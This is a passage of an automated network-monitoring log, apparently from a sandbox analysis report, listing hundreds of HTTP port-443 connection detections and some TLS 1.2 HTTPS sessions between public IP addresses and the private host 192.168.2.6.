Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443

Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.72:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.187:443 -> 192.168.2.6:49905 version: TLS 1.2
